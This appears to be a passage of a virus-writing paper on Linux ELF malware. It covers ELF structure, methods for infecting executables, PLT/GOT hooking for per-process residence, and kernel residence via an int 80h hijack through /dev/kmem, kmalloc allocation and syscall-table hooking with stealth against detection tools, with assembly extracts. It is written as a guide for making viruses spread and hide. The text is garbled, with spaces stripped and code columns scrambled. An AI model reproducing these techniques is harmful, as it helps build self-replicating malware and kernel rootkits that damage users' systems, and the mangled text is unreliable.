1.1.2.ELFfilestructure AnELFfileiscomposedofafixedheader,followedbyanotheroptionalheadercalled "programheadertable",thenthecontentsfromtheindividualsectionswhichholdthebulkofdata andcodeinthefile,andfinallyasectionheadertable. TheELFfixedheaderiscomposedbythefollowingfields: e_ident_magicword(offset00h):ThisfieldismainlyusedasanELFidentification,and containsinitsfirst4bytesasa"magicword"thebyte0x7ffollowedbythethreecharsthat composethestring'ELF'. ei_class(offset04h):Thisbyteidentifiesifthefileiscompiledfor32bitsystems(value "1")or64bitones(value"2"). ei_data(offset05h):Itscontentsdependonifthedataisorganizedinalittleendian structure(thevaluestoredinthisbytewillbe"1"ifso)orbigendian(thevaluewillbe"2"). ei_version(offset06h):Identifiestheformatversion ei_pad(offset07h):Bytesforpadding e_type(offset10h):Identifiesthetypeofobjectfile.Forpracticalpurposesitisjust importanttoknowthiswordmustbe"2"inthecaseofanexecutablefile. e_machine(offset12h):Thisvalueidentifiesthemachineforwhichthefilehasbeen compiled.Somevalues:"1"correspondstoAT&TWE32100,"2"correspondstoSPARC,"3"to i386,"4"toMotorola68000,"5"toMotorola88000,"7"toIntel860and"8"toMIPSR2000. e_version(offset14h):Thisistheidentifieroftheobjectfileversion;itisusually"1"for themomentbutexpectedtogrowforfutureversions. e_entry(offset18h):Withthisfieldweenterinamoreinterestinglandscape.Thisisthe entrypoint,theplacewhereexecutionstartsinthisfile,expressedthrougharelativevirtualaddress; thatistosay,anaddressrelativetotheplaceinmemorywheretheexecutableisloaded.Thismeans thatiftheprogramisloadedinoffset0x400000andthee_entryvalueis0x868,executionwillstart atoffset0x400868. e_phoff(offset1Ch):ThisfieldcontainstheoffsetinwhichtheProgramHeaderTableis storedinthefile.Ifthereisn'tsuchatable,itwillcontain0. e_shoff(offset20h):HerewefindtheoffsetinwhichtheSectionHeaderTableisstoredin thefile,holding0asavalueifthistabledoesn'texistinsuchfile. e_flags(offset24h):Theseareprocessorspecificflags. e_ehsize(offset28h):ThisistheELFheadersizeinbytes. e_phentsize(offset2Ah):Thisisthesizeofeachprogramheadertableentryinbytes. e_phnum(offset2Ch):Herewehavetheamountofprogramheadertableentries. e_shentsize(offset2Eh):Thesectionheadertablesizeforasingleentry. e_shnum(offset30h):Theamountofentriesinthesectionheadertable. e_shstrndx(offset32h):Finally,herewehavethesectionheadertableindexwhich correspondstotheentryinthesectiontablereferringtothesectionnamestringtable,whichis anotherstructure(conceivedasasection)basictotheELFstructure.

ThenextinterestingstructureinELFfilesistheProgramHeaderTable,whichcanbe

foundintheoffsetpointedatbythee_phoffentryinthemainheader.Thistableconsistsinaseries ofentrieswhichdescribeeachsegmentthroughwhichthefilewillbestructuredinmemory,eachof whichisstoredinthefileasasequentialentry.Thefirstentryislocatedinthefileoffsetpointedby e_phoffintheELFmainheader. Mostimportantofallisthe"textsegment"whichusuallyexistswiththepurposeofholding coderelatedsectionsandreadonlydata,andthe"datasegment"whichisusuallyfoundwiththe purposeofholdingwritabledata.Itisinterestingtomakearoughdifferencebetweeninitialized data(whichwouldcorrespondtoaloadablesegmentwhichcorrespondstoactualdatainthedisk file)anduninitializeddatawhichwouldbeinitializedwhenthefileisexecuted. Eachoftheseentriesis0x20byteslongfor32bitarchitectures,andisstructuredasfollows: p_type(offset00h):Thiselementholdsthetypeofsegment,describingtotheoperating systemhowtointerpretit.Thevaluesitcantakeare: PT_NULL(value0):Unused,andthereforeignoredinthefileinterpretation. PT_LOAD(value1):Thisisaloadablesegment,andthebytesfromthefileinthe offsetinwhichthesegmentstartsaremappedtothesegmentstartlocationinmemory. Ifthesizeofthissegmentisbiggerthanthefilesize,thisisfilledwithzeros. PT_DYNAMIC(value2):Thisreferencesdynamiclinkinginformation. PT_INTERP(value3):Precedingaloadablesegmententry,itspecifiesthelocation andsizeofanullterminatedpathtoinvokeasaninterpreter. PT_NOTE(value4):Thissegmentholdsauxiliaryinformation. PT_SHLIB(value5):Reserved. PT_PHDR(value6):Thisreferstothelocationandsizeoftheprogramheadertable itselfandmayoccurasmuchonce,andonlyinthecasethatthisPHTispartofthefile imageinmemory. p_offset(offset04h):Thisfieldholdsthephysicaloffsetinthefileinwhichthesegment starts. p_vaddr(offset08h):Herewefindthevirtualaddress(relativetothebeginningofthe spacemappedinmemory)wherewearetofindthebeginningofthesegmentinmemory. p_paddr(offset0Ch):Physicaladdressofthesegmentforthosesystemsinwhichitis needed. p_filesz(offset10h):Thisisthenumberofbytesinthephysicalfilewhichcorrespondto thesegment(couldbezero). p_memsz(offset14h):Thisisthesizeofthesegmentinmemory. p_flags(offset18h):Flagsrelatedtothesegment. p_align(offset1Ch):Thisisavaluetowhichthep_offsetandp_vaddrhavetobealigned. If0or1noalignmentisrequired,butotherwiseitshouldbeapowerof2andthefollowing equationmustcomply:(p_offsetmodp_align)=(p_vaddrmodp_align).Inotherwords,boththe beginninginmemoryandinfileshouldbealignedtothevalueheldinthisfield.

Finally,thesectionheadertableallowsforlocatinganddescribingindividualsectionsinthe file.Thefirstentryislocatedinthefileoffsetpointedbye_shoffintheELFmainheader,followed bytheothers;theamountofentriesisstoredinthee_shnumentryinthatsamemainheader.

Thesesectionsareidentifiedbyanamewhichalwaysstartswithadot,andthroughwhich wecanknowtheirpurpose.Importantsectionsare: .bss:Uninitializeddata(whichwillbeintheprocessimageinmemory) .data:Initializeddata(whichresidesinfileandintheprocessimage) .debug:Informationforsymbolicdebugging. .fini:Processterminationcode. .got:GlobalOffsetTable(interestingforperprocessresidence) .init:Codefortheinitializationoftheprocess. .note:Sectionforfilenotes.Itisinterestingthatthissectionhasbeenusedbyacavity virus,LoTek,sinceitsinformationisn'tnecessaryforthecorrectexecutionofthefile.Thesame wouldhappenwith.debug(thoughthiswouldbemoreeasilynoticeable). .plt:ProcedureLinkageTable(interestingforperprocessresidenceaswell) .rodata:Readonlydata. .text:Mainexecutablecode. ThestructureofeachSectionTableentryisthefollowing: sh_name(offset00h):Thisfieldspecifiesthesectionname;itisanindextothesection headerstringtableinwhichsuchnameisstoredasazeroterminatedstring. sh_type(offset04h):Sectionflags,describingmiscellaneousattributes.Theseusually correspondtothetypeofsection,whichcanhelpuswhenwearetryingtofindasectionbefore iteratingthroughthenamestowhichtheentriesarerelated.Forexample,thestringtableis identifiedbythevalueSHT_STRTAB(or"3") sh_flags(offset08h):Bitsizedflagsdescribingmiscellaneousattributes,including permissions. sh_addr(offset08h):Thisistherelativememoryaddressatwhichthefirstbyteofthis sectionshouldbemapped. sh_offset(offset0Ch):Herewefindthefileoffsetinwhichthefirstbytefromthissection islocated. sh_size(offset10h):Thisisthesectionsizeinbytes,bothinfileandmemory.However,if wefoundinthesh_typefieldthetypeSHT_NOBITS(value"8"),thesizeinfilewouldbezeroand thisfieldwouldonlyrefertothesizeinmemory. sh_link(offset14h):Sectionheadertableindexlink,itsmeaningdependsonthesection type. sh_info(offset18h):Extrainformationwhichaswelldependsonthsectiontype. sh_addralign(offset1Ch):Aswiththesegmentalignment,values"0"and"1"meanthere isnolimitationsandtheconstrainingvaluesareallowedonlytobepowersoftwo.Thisfieldmeans thevalueofsh_addrmustbecongruentto0,modulosh_addralign. ThelastimportantpointthatmustbeexplainedonELFstructureistherelationshipbetween thesectionsandtheirnames.Itwasexplainedinthesh_namefieldineachsectorthatthisisan indextothesectionheaderstringtable.Now,thesectionwhichisnamed".strtab"andwhich sh_typeis"3"(orSHT_STRTAB)iswhatholdsthekeyonfindingsuchnames.Aswell,andsince therecouldbemorethanoneSHT_STRTABsection,thisambiguationissolvedbythemainELF headerfieldvalled"e_shstrndx",whichreferstothesectiontableentrywhichreferstothesection headerstringtable.

Thelayoutofthesectionheaderstringtableisthatofaseriesofstringsseparatedby0sand finishedwithalast0.Theindexwhichwefoundinthesh_namefieldineverysectiontableentryis anoffsetfromthebeginningofsuchtableinwhichwearetofindthenameofthesection. Thatistosay,ifwehaveastringtablesectionwiththefollowingcontents:

\0 .

. h

t a

e s

x h

t \0

\0 .

. r

s o

t d

r a

t t

a a

b \0

\0

Wecouldpredictthatthesectionwhichrefersto".text"willhaveinitssh_namefieldthe index"1",thatthesectionwhichrefersto".strtab"willhaveinitssh_namefield"7"asanindex, thatthevalue"15"wouldcorrespondto".hash",and"21"to".rodata".

1.1.3.Infectionmethods OncewehaveenoughinformationonthestructureofanELFfile,thenextstepislookingat methodsbywhichanselfreplicatingprogrammayaltersuchstructuretoaccomplishitends. ThisissomethingwhichhasalreadybeenwidelyexploredbyLinuxviruses.Several techniquesinordertoaccomplishsuch"infection"willbelisted,butfirstweshouldnotethatitis usualthatvirusesperformtwochecks:firstofthemifthemagicwordinthebeginningofthefile correspondstotherightone(cmpeax,0x464c457fwitheaxholdingsuchfirstfourbytes),andas wellife_type(offset10hinthemainELFheader)isequalto"2",whichcorrespondstoastandard andpronetoinfectionexecutablefile. Findingtheentrypoint:Aprocedurewhichiscommontoalmosteveryinfection methodisfindingtheentrypointwhereexecutionwillstartinthe.codesection.The processiscomposedofthefollowingsteps: Firstofall,theProgramHeaderTableislocated,throughreadingoffset1Ch(e_phoff) inthemainELFheader. Theentriesinsuchtableareiterateduntilacodesectionisfound.Thebestmethodis comparingtheentrypoint(foundine_entryinthemainELFheader)withtheentry p_vaddrfield.Ife_entryisbiggerthanp_vaddr,thenwecompareitwith(p_vaddr+ p_memsz),andife_entryissmallerthanthatthentheentrypointisinsidesuchsegment. Nowtoobtainthefileoffsetinwhichtofindtheentrypoint,wesubstracttoe_entrythe valueofp_vaddr,whichwillgiveusarelativevirtualaddressinrespecttothebeginning ofthesegment.Asthisisthesamerelativevalueasinthefile(sincethesegmentis loaded"asis"),wejusthavetoaddtoitthevalueofthesegmententry'sfieldcalled p_offset.Thisgivesusthedesiredoffset.

Cavity(.notesection):Thissimplemethodwasimplementedbythe"LoTeK"virus.It incrementsthesizeofthedatasegmentin1000hbytesinbothfileandmemory(fields p_fileszandp_memszinsuchsegment),modifiesthepermissionsofsuchsegmentso thatitcanbeexecuted(bymodifyingp_flagsfield)andcopiesitselftothefreespacein the.notesectionofthefile.Aswell,itmodifiesthee_entry(entrypoint)sothatitpoints toitscode,andstorestheoldonesoitwilljumpbackonceexecuted. Themethoditselfisnotquiteoptimized,inthesensethatabiggerchunkofmemorywill beused(upto0x1000bytes,4096decimal).Thisisdonebecausethedatasegmentpart whichissupposedtobeloadedinmemoryendsbeforethe.notesection,whichisnot usuallysupposedtobeloaded.Therefore,thevirususesthishardcodedvalueof4096to ensureitwillbeloadedalongwiththerestofthefile. Thiscouldhavebeenmademoreoptimizedbycalculatinghowmuchdistancethereis betweenthebeginningofthesegmentandtheendofthevirusandcomparingitwiththe p_memszinthedatasegmentdescription(butthisparticularvirusmakesother assumptionsaswellinordertomantainareallysmallsize,343bytes,inordertofitin suchsection). Inserting(standard):Thestandardwayinwhichinfectionisaccomplishedisneither muchmorecomplicated.Firstofalltheentriesinthesegmenttable(whichaddressisin theELFheaderinoffset1Ch,e_phoff)areiteratedthroughuntilthecodesegmentis found,andthevirtualaddresstowhiche_entry(entrypoint)intheELFheaderrefersis calculatedasanoffsetinthefile. Oncethishasbeenaccomplished,theeasiestprocedureissavinganamountofbytesas longasthevirussizetotheendofthefile,thencopyingtheviruscodefromthepoint whereexecutionstarts.Whentheinfectedfileisexecuted,theviruswilljumptothe stack,readthefile,andcopyitscontentsoveritsowncodebackagain,sothatthefile canbeexecutedasifnothinghadhappened. Atricktoavoidhavingtoreadthefilefromthedisktogettheoldhostcode,thoughit lackstheoptimizationproblemsofthecavityone,istoextendthelength(p_fileszand p_memsz)ofthelastloadablesegmentsothatitisloadedalongwiththefile. Inserting(sectionmanipulation):Morecomplexviruseshavedevelopbetter techniquesthantheprevious.Themostclearisthatofmakingthe.textsectionsizegrow andadjustingthefileaccordingly,thoughthereisanalternativelessstealthywaytodo thisbycreatinganewsection. Inthecaseofenlargingonesection,thefollowingfieldsmustbemodified: Thesegmenttowhichthesectionwhichisgoingtobeenlargedbelongsmusthaveits sizemodifiedbothinfileandmemory:thatistosay,bothp_fileszandp_memsz. SincetheSectionTableislocatedintheendofthefile,onlytheoffsetsfromthose

sectionsaftertheonewhichisinfectedmustbemodified.Thatistosay,thesh_addr andsh_offsetfieldsineveryentry.Theinfectedsection'ssh_sizemustgrowinthesame sizeastheviruslength. Aswell,thepointertothesectiontable(e_shoff)intheheadermustbeaddedthevirus size,sincethisstructurehaschangeditsoffset. Ifexecutionstartsinanotherpoint(forexample,thevirususesthespacewhichwas addedtothesectiontocopythevirus),theentrypointfielde_entryinthemainELF headermustbemodifiedtopointtosuchplace. Inthecaseofcreatinganewsectionthecalculationswouldbemorecomplex: ThepointertotheSectionTable,e_shoff,mustbeaddedthevirussizesincethis structurewillseeitsoffsetchanged.Aswelltheentrypoint(e_entry)mustbeadjustedto thebeginningofthenewsection,andthee_shnumfieldwiththenumberofsections mustbeincreasedbyone. IntheProgramHeaderTablethesegmentsizeinfileandmemorymustbeenlargefor thatwithinwhichthenewsectionwillbeplaced(whichshouldbethe"code"one). ThenewentryintheSectionHeaderTablewouldhavetobeaddedtakingintoaccount thevirtualaddressandoffsetofthecodewhichwasadded,whichcanbecalculatedwith thedataonthesegmentintheProgramHeaderTable. Thisalsomeansthatthesectionswhichgoafterthenewonehavetobemovedforward inthefile. Aswell,theirsh_addrandsh_offsetfieldsmustbemodifiedsotheyreflectthenew situation(byaddingthevirussize). Thoughothervariantsonthesebasicmethodsmaybeused,mostoftheLinuxvirusesuse andwillprobablycontinuetousethem.Withinthesemethodsthebestisthesectionenlargement one,sinceitisthelessnoticeable;theentrypointremainsinthemaincodesection,andtheonly modificationwhichcanbeperceivedisthatofthesectionandfilesizegrowth.Thiscanhoweverbe handledthroughfilestealth,aswewillseelater.

1.2.Memoryresidence(perprocess)
1.2.1.Introduction Herearesidencemethodwhichcanbeusedeveninthecaseofanonrootaccountexecuting afilewillbecovered.Thismethodisknownas"perprocessresidence",andaffectstothefile whichiscurrentlyinfectedandbeingexecuted. Themethoditselfisbasedonhookingcallswhichareprovidedbylibraries,sothatthevirus canretrievetheparameterswhichwerepassedtosuchcall.Usuallythisisdonesothatfilesthatare accessedareinfected,whichprovesaquitemoreeffectivemethodtofindcommonlyusedfilesto infect. Thisgetsclearerifitiscomparedtothetypicalmethodsonruntimeinfection,whichusually trytoinfectthecurrentdirectoryandsometimesgoingthroughthe".."directoryuntilrootis reached(whichistoonarrow),ordirectlytrytoinfectawholebinariesdirectorysuchlike/binor/ sbin(whichistooexpensiveinresources). Aswell,infectingthiswaywillmakethevirusmuchlessnoticeable;ifthevirussequentially infectsseveralfilesbeforepassingcontroltothehost,thisdelaycouldbenoticedbyasuspicious user,andthisiswaymoredifficultiftheseinfectionshappenindividuallyandindifferentmoments intime. 1.2.2..GOTand.PLTsections .GOTand.PLTaretwosectionsinsideanELFfilewhicharebasicinordertoperforma perprocessresidence. The.GOTisalsoknownas"GlobalOffsetTable".Thissectionwillholdtheabsolute addresseswhichthe.PLT(ProcedureLinkageTable)sectionwilluse.Thesearegeneratedbythe dynamiclinkerwhenthefileisexecuted,sowewon'tfindanyonthefileitself. Asforthe.PLTsection,wewillfindoneforeachsharedlibrary.Inanabstractsenseits purposeistransformingrelativeaddresseswhichcanbecalledbytheexecutingprograminto absoluteaddresses.Sincewhencallingafunctionthisisdonefromalocationindependentcode(the process)toanotherlocationindependentcode(thelibrary),thisisthecoreofthetranslationwhich isneededtoallowthistowork. WhenthePLTiscalled,ebxcontainingtheaddressoftheGOTneedstobepassedasa parameter.Wheneverafunctioniscalledforthefirsttime,executionwilljumptoaposition determinedby"ebx"plustherelativeoffsetinwhichthecodespecifictothisfunctionisstored. Initiallythisaddressisexactlythatafterthejump,the"push$someoffset"inthefollowingcode: .PLT1: jmp dword[EBX+Function1Offset] push $someoffset jmp .PLT0

Therefore,thisfirsttimethejumpwillbefollowedbythe"push$someoffset"instruction whichspecifiesanoffsetintherelocationtable,whichhasbothanindextoasymbolinthesymbol tablewhichbelongsthelibrarycall,andareferencetotheFunction1OffsetentryintheGOT. Finally,executionwilljumptothe".PLT0"label,whichholdsthefollowingcode: .PLT0: push [ebx+4] jmp [ebx+8] ThispushesintothestackthesecondentryintheGOTandjumpstothethirdentry,whichis thedynamiclinker.Thiswilllookatthestack(wherethereistherelocationtableentrywiththe symbolandGOToffsetinformation)andwillstoretherealaddressforFunction1Offsetinthe [EBX+Function1Offset]placewhichwasfirstexecutedwhenthePLTwascalled.Therefore,the nexttimeweexecutePLT1: .PLT1: jmp dword[EBX+Function1Offset] push $someoffset jmp .PLT0 Nowthiswilljumpdirectlytotheaddressinwhichthesharedlibrarycallisstored,and subsequentcallstothiswillnotneedanyrelocation.Thesamewillhappentoanysharedlibrary call;thefirsttimeitwillfollowthisprocessandthesubsequentonestheentryinthePLTwill directlyretrievefrom[EBX+FunctionXOffset]thecorrectmemoryaddressforsuchcall. 1.2.3.Hookingthesharedlibrarycalls IfavirusintendstohookoneormoreentriesinthePLT,itshouldtakeintoaccountthatit willbechanged.Specialmeasuresshouldbetakeninthecaseofastandardviruswhichexecutes beforethehostcode,sincetheaddresstowhicheachPLTentryjumpswillbechangedthroughthe dynamiclinker. Therefore,astandardalgorithmforPLThookingwouldbecomposedbythefollowing steps:

SavethecontentsoftheaddressintheGOTfromwhichthejumpinthePLTroutineis readingavalue.TofindaspecificPLTsubroutinetohook,themethodwouldbe extractingfromsuchoffsettheindextothesymboltablewhichholdsthenameofthe function.Thispartbecomesclearerwiththestructureofarelocationentryandthe symboltable. Anentryintherelocationtableholdsthefollowingtofields: typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; } Elf32_Rel;

Thisr_infopartoftheentryreferstotheindexinthesymboltablefromwhichwecan extracttowhichsymboldoesitrefer.Eachentryinthesymboltableisstructuredas follows: typedef struct { Elf32_Word st_name; Elf32_Addr st_value; Elf32_Word st_size; unsigned char st_info; unsigned char st_other; Elf32_Half st_shndx; } Elf32_Sym; Inthisstructure,st_nameholdsanindexintotheobjectfile'ssymbolstringtable;an offsetintosuchstringtablefromwhichtoreaditsname.

ReplacethisaddressintheGOTtable(GOT+FunctionOffset)withonewhichpointstoa routineinsidetheviruscode.

Thiswouldbeenoughfortheruntimepart.Nowwhensuchroutineinsidetheviruscodeis called,itwouldperformthefollowingsteps:

Savethemachinestate(registers)andexecutewhattheviruswantstoexecute. ReplacetheaddressintheGOTtofromthefirstjumpreadstheaddresstowhichitwill transfercontrolwithitsoldvalue. CallthecorrespondingPLTlabelagain,throughanassembler"call"instruction.Though, caremustbetakenwithsyscallsthatreceiveparametersinthestack,sincetwochained callswouldbreakthis.Ifitisso,theviruscouldsavethereturnaddressintoitscodeand overwritethereturnaddresswithapointertoitself,simulatingitasiftherewasonlyone call. Onceitreturns,checkifthevalueintheGOTwaschangedandifsostoreitinthevirus, overwritingtheoldvalue. Finally,replaceagaintheGOTentrycorrespondingtothisfunctionwiththeoffsettothe routineinsidetheviruscode,restorethemachinestate(popregisters)andreturn.

1.3.Memoryresidence(ring0)
1.3.1.Strategystructure Amorecompletewayforavirustostayresidentistobecomepartofthekernel.Thiswould allowforinterrupt/syscallhooking,whichopensthedoorsnotjusttomoreeffectivewaystoinfect, buttoglobalcontrolpossibilitiesinthewholesystemsuchasfilestealth. However,evenifrunningfromarootaccountthestepswhichneedtobeperformedaren't inmediatlyclear.Thefactthatthevirusisexecutingwithrootpermissionsaffectsitslimitations whencallingupkernelsyscalls,butdoesn'tprovideitwithaCPUsupervisormode.Thismeansthat kernelspaceisstillprotected,andthattheviruswillhavetofindawaytoclimbfromusermemory spacetokernelmemoryspace. Aswell,thisprocessmaybeasstealthaspossible;thismeansthattechniquessuchas loadinganewkernelmodulemustbeavoidedandthattheviruswillhavetogeneratefreekernel spacethroughthekernelfunctions,onceitisexecutinginsupervisormode/ring0. Finally,thevirusshouldhookthekernelexecutionatsomepoint.Thereareseveralpossible optionshere,somemorestealthythanothers.Thesimplestofthemishandlingint80h(whichholds almosteverysyscallfunction)intheInterruptDescriptorTable(IDT).Otheroptionswouldbe handlingitscodeinthemiddleinasimilarfashiontoEntryPointObscuring,orhookingthesyscall table.

1.3.2.Runninginsupervisormode ThemostclassicaltricktoaccomplishthisinLinuxreliesontherootaccesstothe/ dev/kmemfilewhichholdsthekernelmemory.Thisisastraightforwardwayforittobeableto modifykernelmemory.However,theviruscannotdirectlyinstallitselfbymanipulatingsuchfile, sinceithastobecoherentwiththewaythekernelismanagingitsownmemoryspace. However,writeaccesstothisfileprovidesatricktoexecutecodeinsupervisormode. Inthei386Linuxarchitecture,theInterruptDescriptorTable(IDT)addresscanberetrieved throughanassemblerfunctioncalledsidt,whichtakesamemoryaddressasaparameter.This addresscanbedirectlyusedasanoffsetinthe/dev/kmemfiletolocateandmanipulatetheIDT. sidt mov xor mov add int [descivt] eax,19 edx, edx ecx,[descivt] ecx, (0x80*8) 080h ; We store the IVT offset ; Lseek (ebx = handler)

; Now get the int 0x80h

Nowthenextstepishandlinganinterruptandmakingitpointtosomepartoftheviruscode whichiscurrentlyexecuting,andcallsuchinterrupt.Thereasontodothisisthatwheneveran interruptiscalled,sinceitisthekernelwhichissupposedtohandleit,theroutinewhichiscalledby theinterruptandstoredinthevectortableisexecutedinsupervisormode.Linuxdoesn'tcheck wetheraninterruptvectorintheIVTpointstouserspaceorkernelspace,sothiscanbedirectly redirectedtotheviruscodeinuserspace. Thishastobedonecarefully,sinceotherprocessescouldcallsuchaninterruptwhileitis beinghooked;acorrectimplementationwouldcheckforaspecificvalueinsomekeyregisters,and ifitisn'tcorrectitwouldjustjumptotherealinterruptasifnothingwashappening. Ifthevaluethatischeckedintheinterruptisthesameasthatwithwhichitiscalled(which mustbeanoncommonone),theviruswillproceedtocallkernelfunctionsinordertogetkernel memoryinwhichtocopyitself. Ini386assemblerthiswouldbeanexample(extractedfromhijack.asm):

; int80h has just been hooked mov eax, 0xc0de1111 ; load key value int 080h ; call interrupt 0x80 [...] ; now the virus should be in kernel ; -------------------------------------int80handler: db 068h ; 'push' opcode original_int80_vector: dd 0 ; this is where the int address was stored pushfd ; save flags register pushad ; save all other registers cmp eax, 0xc0de1111 ; check if it is the virus code jnz return ; if it isn't, jump to the interrupt [...] return: popad popfd ret ; Here the virus manipulates kernel memory

; ; ; ;

restore registers restore flags jump to the interrupt address, which was pushed in the stack

1.3.3.RetrievingthekernelAPI Thepreviouslydescribedstrategyonhookinganinterrupthasstilloneproblem;howcan kernelfunctionsbecalledfromthere?Infact,thereisaveryspecificonethatcouldbecalled,which iskmalloc().Anotherpossibilityisdirectlycallingmore"internal"functionswhichkmalloc()uses, like__get_free_pages(). Inthebestcase,thatinwhichthekernelsupportsLoadableKernelModules(LKMs)such functionsareavailableinafilecalled/proc/ksyms.Thisisacomprehensivelistofthefunctions whichareexportedbythekernel,structuredinlinescomposedbyamemoryaddress(whichcanbe directlyusedtomakeacall)andafunctionname.Asimplegrepinspectionshowsusthat __get_free_pages()andkmalloc()areexportedwheneverthisfileexists,whichisveryusualunless thesecurityofthesystemhasbeentightenednotallowingLKMs. Inthecasethatthisfileisn'tavailable,"dirty"methodsonpatternrecognitioncanbeusedto trytolocatethekmalloc()or__get_free_pages()functioninthekernel.Oneexampleofsuch methodhasbeenproposedinthearticle"LinuxontheflykernelpatchingwithoutLKM"[5]. Thenextissueisonhowtocallsuchfunctions.Inbothcases,ittakesasparametersthe amountofpageswhicharetobereservedandavaluecalledGFP_KERNEL,whichvaries dependingonthekernel.Thismakesitmoreproblematic(sinceanincorrectvaluecancrashthe kernel),butthefollowingvaluesareconsideredtobe"secure": kernelversions1.0.xto2.4.5:0x3 kernelversions2.4.6to2.4.x;0x1f0 Afterthefunctioniscalled,theviruswouldcopyitselftotheaddressinwhichsuchnew spaceinkernelislocated(whichisthevaluesuchfunctionsreturn).Ifthisisbeingcalledfroma hijackedinterrupthandler,thismeansthatthisresultshouldbegivenasaninterruptreturnvaluein someregister,sothattheviruscancopyitselftosuchplacethroughmanipulating/dev/kmem.Since suchaddresscanbeusedasa/dev/kmemfileoffset,theprocessoncopyingthevirustokernel memoryistrivial. SuchcallisdoneintheinterrupthandlerthatwashijackedinAppendixDhijack.asmwith thefollowingcode: push push call add mov dword dword dword esp,8 dword 0xf0 ; GFP_KERNEL total_size ; size [kmalloc+ebp] ; Stack adjust after call [buf2+ebp],eax

Thedwordvaluewhichmarksthebaseaddressofwhathasbeenallocatedisstoredinbuf2, andonreturntheprogramwillexecutethefollowingcodeaffectingthe/dev/kmemfile:

mov

eax,19

mov xor int

ecx,dword [buf2+ebp] edx, edx 080h

;; Pointer has been set in the base address in kernel memory mov lea mov int eax,4 ecx,[virus_start+ebp] edx,total_size 080h ; sys_write ; From the beginning ; The whole program

1.3.4.Hijackingkernelfunctions Oncethevirusisresidentinkernelmemory,alaststephastobetakenonhijackingspecific kernelfunctions.Inthisdecissionithastotakeintoaccountwhatitwantstoachieve,whichinthe virusfieldisusuallyrelatedwithefficientinfectingmechanismsandstealth.Usuallythismeans infectingfilesthatareexecutedoraccessed,andinterceptingfunctionsthroughwhichitcouldbe detected. Theeasiestmethodisaswellthemosteasilydetectable.Thatis,redirectingint80hwhich holdsallthebasicsystemcallstotheviruscode.Wheneverthisinterruptiscalled,thevirushandler wouldcheckoutregistereaxtoknowwhichfunctionisrequested;ifitisaninterestingoneitwould actbeforelettingitproceed,ifitisn'titwouldjustjumptotheoriginalint80hhandler. Anassemblerroutinetohandlethiswouldquitesimilartothatwhichwasproposedbefore forjumpingtoring0.Thiswouldbeanexampleofanint80hhandlerforaninfectordisinfector strategy: int80handler: db 068h ; 'push' opcode original_int80_vector: dd 0 ; this is where the int address was stored pushfd ; save flags register pushad ; save all other registers cmp eax, 5 ; 5 = open file jz disinfect ; If a file is opened we disinfect it cmp eax, 6 ; 6 = close file jz infect ; If a file is closed we (re)infect it jmp return ; If it is not 5 or 6 we jump to the syscall disinfect: [...] jmp return infect: [...] jmp return return: popad

; Code for disinfecting the file

; Code for infecting the file

; restore registers

popfd ret

; restore flags ; jump to the interrupt address, ; which was pushed in the stack

Theproblemwiththistechniqueisthatitiseasilydetectedbyanysoftwarewhichchecks theaddressesintheinterruptvectortable.Therefore,morecomplexstrategiesshouldbedeveloped iftheviruswantsitshijackingtostayundetected.

1.3.5.Stealthhijackingtechniques Thenextstepinkernelfunctionhijackingisdirectlyattackingthesyscalltableinwhichthe addressesforthedifferentsyscallsarestored. Anobstacleaviruscanhavehereisofcourse,locatingthesyscalltable.Thisisagainin the/proc/ksymsfileinthecasethatLKMsupportisenabledinthekernel.However,inthecasethat thisdoesn'texistthereisanalternative;wecanlookatthehandlerforinterrupt80h(entry.Sfilein thekernelcode)andineverykernelversionforthepresentafterafewoperationsforsaving registerswewillfindacalldword[eax*4+syscall_table_offset]instruction. Atypicalhandlerforint80hwhichisalmostthesameinallkernelshasthisstructure (extractedfromentry.S):
194ENTRY(system_call)#label:int80hentry 195pushl%eax#saveoriginaleaxregister 196SAVE_ALL#Saveallregistersmacro 197GET_CURRENT(%ebx)#pointertocurrenttask_struct 198testb$0x02,tsk_ptrace(%ebx)#checkifitisbeingtraced 199jnetracesys#jumptotracesysiftraced 200cmpl$(NR_syscalls),%eax#Isthesyscalloutofrange? 201jaebadsys#no?ugh 202call*SYMBOL_NAME(sys_call_table)(,%eax,4)#callsys_call_table [...]

Whattheviruswouldsearchthen,isthiscallinline"202"whichtheint80hsavesafterithas savedallregistersandcheckedoutifthesyscallisoutofrangeandifitisbeingtraced. Thesyscalltableitselfhasaquitesimplestructure,andiscomposedbyaseriesofdword sizeentries(32bit)towhichthe80hinterruptwilljump.Therefore,astealthierwaytohijackint 80hcallsisredirectingsuchentriesbymakingthempointtotheviruscode.Insteadofhavinga commonhandlerwhichchecksforthevalueofeaxandjumpstodifferentpartsofitscode dependingonintsvalue,theviruswouldmaketheentriesinwhichitisinterestedpointtosuch parts. Forexample,inthecaseofthehypotheticalinfector/disinfectordepictedbefore,thevirus wouldredirectthefifthentry(sys_opensyscall)tothe"disinfect"label,andthesixthentry (sys_closesyscall)tothe"infect"one.Itwouldjusthavetotakeintoaccountsavingagainthe registersandrestoringthembeforejumpingtotheoriginalroutine.

However,thisstillmaynotbestealthenough.Anotherpossibilityisoverwritingthe beginningoftheint80hhandlerorthatofthespecificsyscallwithajumptotheviruscodeand restoreitbeforethevirusreturns,butthisstillcanbedetectedbyspecifictoolssuchasKstatand Angel. Inordertopreventthis,thefollowingsolutionsareinteresting:

Ithasbeenproposedtohookexceptionroutinessuchlikethepagefaultorthedivideby zeroone[6],butthosebarelyapplytovirusessincetheyarethoughtsothatthemalware installedinthekernelcanbecalledfromuserspace,andnotinordertoperforma continuoussyscallfiltering(whichiswhatstealthfunctionsorinfectionswouldrequire). Thereisanotherpossibility,thoughitbecomesevenmorecomplex:insteadofjust placingajumpinthebeginningoftheint80hhandlerorinthebeginningofthedesired syscallkernelsubroutines,theviruscouldproceedthroughadisassemblerwhichcounts theinstructionlengthandplacesitselfafewinstructionslaterthansuchbeginning.Any othermethodtotracethesyscallcouldworkaswell.Forexample,aviruscouldsearch forthe"call*SYMBOL_NAME(sys_call_table)(,%eax,4)"partinentry.Sandsubstitute itwithacalltoitself,thenexecutingthecorrectcodeafterwardsinitsowncodeand falsifyingthereturnaddressofsuchcallsoitgoestothebytewhichcorrespondstoline 203intheentry.Scode:

